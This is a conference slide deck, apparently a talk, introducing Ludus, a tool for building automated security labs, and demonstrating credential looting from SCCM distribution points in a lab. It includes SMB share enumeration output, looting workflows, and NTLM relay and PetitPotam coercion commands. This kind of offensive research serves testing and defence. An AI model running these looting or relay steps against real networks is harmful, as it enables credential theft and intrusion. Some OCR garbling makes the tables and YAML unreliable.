

Supercharge your vuln finding workflow with automated labs:


How Ludus made it rain **\( \)** creds from SCCM



# Has this been you?



### This is perfect!



#### - □ X

### Did you just YOLO that binary?



THREAT ANALYSIS GROUP New campaign targeting security researchers Jan 25, 2021 · 4 min read Adam Weidemann Threat Analysis Group **Hackers Lure Cybersecurity Researchers With Fake LinkedIn Recruiter Profiles** Campaign demonstrates the DPRK-backed cyberattackers are gaining tools to avoid EDR tools. Dark Reading Staff, Dark Reading Editor's Choice (1) 1 Min Read Daryna Antoniuk North Korean hackers target security researchers September 7th, 2023 with new zero-day Cybercrime State-backed North Korean hackers are reportedly targeting security researchers using at least one zero-day vulnerability. Google warned in a report released Thursday. News For the past two-and-a-half years, the researchers have been tracking campaigns by the threat actors they believe are behind the recent attacks.

### **Did YOU just YOLO that binary?**

#### Network Outage - Call Me External







Angry Joe joe@angryclient.com

to me -

Hello,

We are experiencing a large network outage and our <insert EDR Vendor> is generating a lot of alerts. We believe it is due to your testing.

Our users are calling IT.

The CEO/CISO would like get on a call with you and your team immediately.

Thanks

- Angry Joe

### **WHOAMI**



- ▶ Erik Hunstad (᠗badsectorlabs)
  - Founder @ Bad Sector Labs
  - Previously
    - CTO @ Sixgen
    - DoD



- Alberto Rodriguez (@\_\_ar0d\_\_)
  - o MSC a GuidePoint Security (TAS)
  - Previously
    - Fortune 500
    - DoD

### **AGENDA**

**Intros** 

**Automated Lab/Range Landscape** 

**Our Solution - Ludus!** 

Use Case: Complex environments (Ahem. SCCM)

**Questions** 

## **Lab/Range Automation Tools**

- Commercial
  - $\circ$  Immersive Labs (formerly Snap Labs)
  - SimSpace (mostly DoD)
  - Hack the Box
  - Try Hack Me
  - Pentester Lab
  - Various paid courses offer labs
- Open-Source
  - Detection Lab (archived 2023-01-01)
  - AutomatedLab (Powershell/HyperV only)
  - Game of Active Directory aka GOAD
  - ADLab (vagrant/ansible)
  - AD-Lab (Powershell)













### **Lab/Range Automation Tools - Disadvantages**


- Cloud based

  - No access to underlying infrastructure
  - o Telemetry?
- Rigid
  - Fixed domain names
  - Fixed IPs
  - Fixed user accounts, vulnerabilities, etc
- Single user
  - No easy way to share with teammates
- Single EDR/logging solution if any
- No concept of OPSEC
- Hard to extend

### Introducing...

HOW STANDARDS PROLIFERATE: (SEE: A/C CHARGERS, CHARACTER ENCODINGS, INSTANT MESSAGING, ETC.)

SITUATION: THERE ARE 14 COMPETING STANDARDS.



500N:

SITUATION: THERE ARE 15 COMPETING STANDARDS.

### Ludus

Goal: Solve infrastructure management for cybersecurity

#### Easy

- One static binary
- Install instructions: ./ludus-server
- Static client binaries for Windows/Linux/macOS
- Open source, fully documented, API driven
- Cloud or On-prem

#### • Flexible

- Templates are base OS installs
- Labs build dynamically during deploy
- No "golden master" templates (unless you want them)
- o Domains, IPs, users, software etc all configured by the user

#### Expandable

- Use any ansible role available today
- Write your own roles and use/share them easily
- Chocolatey support






### **Ludus range config YAML**

#### **YAML**

```
ludus:
- vm_name: ad-dc-win2022-server-x64
  hostname: JD-DC01-2022
  template: win2022-server-x64-template
  vlan: 10
  ip_last_octet: 11
  ram_qb: 8
  cpus: 4
  windows:
    sysprep: true
    domain:
       fqdn: ludus.domain
      role: primary-dc
 - vm_name: ad-win11-22h2-enterprise-x64-1
  hostname: JD-WIN11-22H2-1
  template: win11-22h2-x64-enterprise
  vlan: 10
  ip_last_octet: 21
  ram_gb: 8
  cpus: 4
  windows:
    install_additional_tools: true
    office_version: 2019
    office_arch: 64bit
  domain:
     fadn: ludus.domain
     role: member
```



### Ludus - Roles

- Roles created by BSL
  - ADCS
  - Veloricaptor
  - Apache Guacamole
  - MSSQL
  - Bloodhound CE
  - Elastic Container
  - Elastic Agent
  - XZ Backdoor
  - Vulhub
  - EMUX
  - Commando VM
  - ∘ Flare VM
  - REMNUX

- Community Roles
  - 🔻 SCCM 💰 🐣
  - Wazuh Server
  - Wazuh Agent
  - o MS Exchange
  - Child Domain
  - Child Domain Join
  - Local Users
  - o Gitlab CE
  - AD Content (OUs, Groups, Users)
  - More coming soon!

## **Configuration Manager (SCCM) - What is it?**

Microsoft: Configuration Manager is part of the Microsoft Intune family of products. The Microsoft Intune family of products is an integrated solution for managing all of your devices. Microsoft brings together Configuration Manager and Intune, without a complex migration, and with simplified licensing.

Red teams: A living-off-the-land C2 framework 😈

#### **TLDR**

Deploy software updates, OS deployments, endpoint protection, asset inventory, and more!

## **SCCM - Deploy Range Demo**



# **SCCM - Range Complete!**

USER ID   RANGE NETWO		LAST DEPLOYMENT		NUMBER OF VMS	DEPLOYMENT STATUS	TESTING ENABLED
AR	10.2.0.0/16	2024–08–04 	11:50	9	SUCCESS	FALSE
PROXMOX ID   VM NAME		AME	POWER	IP		
110	AR-router-debian11-x64		On	10.2.10.254		
111	AR-DC01		j On	10.2.10.10		
112	AR-elastic-server		j On	10.2.10.9		
113	AR-Workstation		j On	10.2.10.11		
114	AR-sccm-distro		j On	10.2.10.12		
115	AR-sccm-sql		j On	10.2.10.13		
116	AR-sccm-mgm	AR-sccm-mgmt		10.2.10.14		
117	AR-sccm-site	AR-sccm-sitesrv		10.2.10.15		
118	AR-kali		j On	10.2.99.1		

### **SCCM - Distribution Points**

SCCM distribution points (DPs) are the servers used by Microsoft SCCM to **host** all the files used in software installs, patches, script deployments, etc.

**By default**, these servers allow access via SMB (TCP/445) and HTTP/S (TCP/80 and/or TCP/443) and require some type of Windows authentication (i.e. NTLM).

- Are defenders monitoring SMB for this SMB looting?
- 2. Can we get these files from the SCCM DP via HTTP/S? 🤔


### **SCCM - DP SMB Looting**

The SMB tools work by enumerating the **DataLib** folder of the **SCCMContentLib\$** share to find **<filename.ext>.INI** files which contain the hash of the file.


They can then locate the actual file at **FileLib/<hash[0:4]>/<hash>**. This works because with access to the share, you can enumerate all files in the DataLib folder.

```
(root@ AR-kali)-[/home/kali]
 # nxc smb nxc smb 10.2.10.12 -u domainuser -p 'password' --shares
            10.2.10.12
                                   SCCM-DISTRO
                                                     [*] Windows Server 2022 Build 20348 x64 (name:SCCM-DISTRO) (domain:ludus.domain) (signing:False) (SMBv1:False)
            10.2.10.12
                                   SCCM-DISTRO
                                                     [+] ludus.domain\domainuser:password
SMB
            10.2.10.12
                                   SCCM-DISTRO
                                                     [*] Enumerated shares
SMB
            10.2.10.12
                                   SCCM-DISTRO
                                                     Share
                                                                     Permissions
SMB
            10.2.10.12
                                   SCCM-DISTRO
SMB
                                                     ADMINS
            10.2.10.12
                                   SCCM-DISTRO
                                                                                      Remote Admin
SMB
            10.2.10.12
                                   SCCM-DISTRO
                                                     C$
                                                                                     Default share
SMB
            10.2.10.12
                                   SCCM-DISTRO
                                                     IPC$
                                                                     READ
                                                                                      Remote IPC
SMB
            10.2.10.12
                                   SCCM-DISTRO
                                                                                     RemoteInstallation
                                                     REMINST
                                                                     READ
SMB
                                   SCCM-DISTRO
                                                    SCCMContentLib$ READ
                                                                                     'Configuration Manager' Content Library for site 123 (8/4/2024)
            10.2.10.12
SMB
                                                                                     SMS Site 123 DP 8/4/2024
            10.2.10.12
                                   SCCM-DISTRO
                                                    SMSPKGC$
                                                                     READ
SMB
                                                                                     SMS Site 123 DP 8/4/2024
            10.2.10.12
                                   SCCM-DISTRO
                                                     SMSSIG$
                                                                     READ
                                   SCCM-DISTRO
                                                     SMS_DP$
                                                                                     SMS Site 123 DP 8/4/2024
            10.2.10.12
Running nxc against 3 targets -
                                                                       - 100% 0:00:00
```


## **SCCM - SMB Looting Workflow (Datalib)**




- Enumerate every folder in Datalib
- 2. Read existing any **<filename>.ini** in those folders
- 3. Extract first 4 chars & the full hash for later use



## **SCCM - SMB Looting Workflow (Filelib)**






- Open FileLib/<hash[0:4]>/<hash>
- 2. **Download the file** that is named with the **full hash**
- 3. **Rename** with the proper **file extension**

#### - □ X


## SCCM - SMB Looting Workflow (Recap)




## **SCCM - SMB Looting (Tooling)**

- 1. <a href="https://github.com/1njected/CMLoot">https://github.com/1njected/CMLoot</a> Powershell (S/O Tomas Rzepka (2))
- 2. <a href="https://github.com/jfjallid/go-cmloot">https://github.com/jfjallid/go-cmloot</a> Golang
- 3. <a href="https://github.com/shelltrail/cmloot">https://github.com/shelltrail/cmloot</a> Python


# SCCM - DP HTTP Looting 🧐




### **SCCM** - Anonymous Authentication



## **SCCM** - "Zippidity Fast!"






### SCCM - Exhibit B!

Can't deploy a software package?

Just enable anonymous authentication





### **SCCM - Accidental Fix?**

This was disabled once upon a time? Likely broke some stuff. Sysadmins re-enabled it!? •



### Resolution 🚤

In the Configuration Manager console, check the distribution point configuration:

- 1. Go to Site Database > Site Management > Site name > Site Settings > Site Systems > Site server.
- 2. Right-click the distribution point, and then select **Properties**.
- 3. Verify whether the checkbox **Allow Clients to connect Anonymously** is selected. If it's unchecked, check it.

### SCCM - DP HTTP Loot 1 - Folder Name

If directory listing is **ENABLED**:

- Download Datalib ightarrow Parse Datalib ightarrow Extract Non-INI folder names
- <SCCM DP>/SMS\_DP\_SMSPKG\$/<Folder Name> to see full URL paths
- <SCCM DP>/SMS\_DP\_SMSPKG\$/<Folder Name>/<Filename.ext>
- GET request to the full path to file → Download file :)



## SCCM - DP HTTP Loot 1 - Signature Files

#### If directory listing is **DISABLED**:

- Download Datalib ightarrow Parse Datalib ightarrow Gather Non-INI Folder name
- <SCCM DP>/SMS\_DP\_SMSSIG\$/<Folder Name>.tar
- Extract the filename from .tar file (not an actual tars)

### SCCM - DP HTTP Loot 1 - Signature Files Cont.

- /<SCCM DP>/SMS\_DP\_SMSPKG\$/Datalib/<filename>/<extracted filename>.INI
- Extract the hash and hash[0:4] from INI file
- Download the file ightarrow <SCCM DP>/SMS\_DP\_SMSPKG\$/<hash[0:4]>/<hash>

### **SCCM - Demo Time!**



# SCCM - Intro sccm-http-looter



## **SCCM - Unauth DPs are Everywhere**

- If we found this in production environments...could we find it on the internet?
- 100's of instances of unauthenticated HTTP/S
   DPs
- Scripts, custom apps, certificates, oh my
- 🔸 💀 Creds in powershell and batch scripts 💀
- Reverse lookup'd emails, responsibly disclosed

# **SCCM - NTLM Relay to HTTP DP?**

### **SCCM - Porque No?**

- 1. NTLMRelayx (checkout out smbtakeover.py new 🔥)
- 2. Coerce Auth | LLMNR/NBT-NS Poisoning | IPv6 | etc.
- 3. Relay to HTTP service
- 4. Loot the Distribution Point
- 5. Profit

https://github.com/ar0dd/impacket

PR is in their LONG queue :)

## **SCCM - NTLM Relay to HTTP Demo**


```
--(.env)-(root@ AR-kali)-[/home/kali/Desktop/impacket]
_# python3 examples/ntlmrelayx.py -t http://10.2.10.12/SMS_DP_SMSPKG$/Datalib --sccm --sccm-dp-dump -smb2support
___(kali® AR-kali)-[~/PetitPotam]
🖵 sleep 3; python3 PetitPotam.py 10.2.99.1 10.2.10.13 -u domainuser -p 'password'
```

### **Ludus - Other features**

- Automated template building from verified ISOs
- OPSEC safe testing mode
- Arbitrary networks
- Firewall rules
- Range sharing/collaboration
- Arbitrary DNS settings
- Arbitrary Ansible grouping
- Built-in Nexus Cache
- Fully documented REST API (OpenAPI 3.0)
- Detailed documentation (built into the server too!)
- More!

### **Ludus - Get Involved**

- ./ludus-server
- Join the Discord
- Write roles
- Share configurations
- Report bugs
- Add features



### **Contact/Questions**

- ❤️ @badsectorlabs || @\_\_ar0d\_\_
- badsectorlabs.com

ludus.cloud

github.com/badsectorlabs/sccm-http-looter

#### Thank You

- @1njected (Tomas Rzepka)
- Misconfiguration Manager (SpecterOps Team)
- @Synzack (Zach Stein)

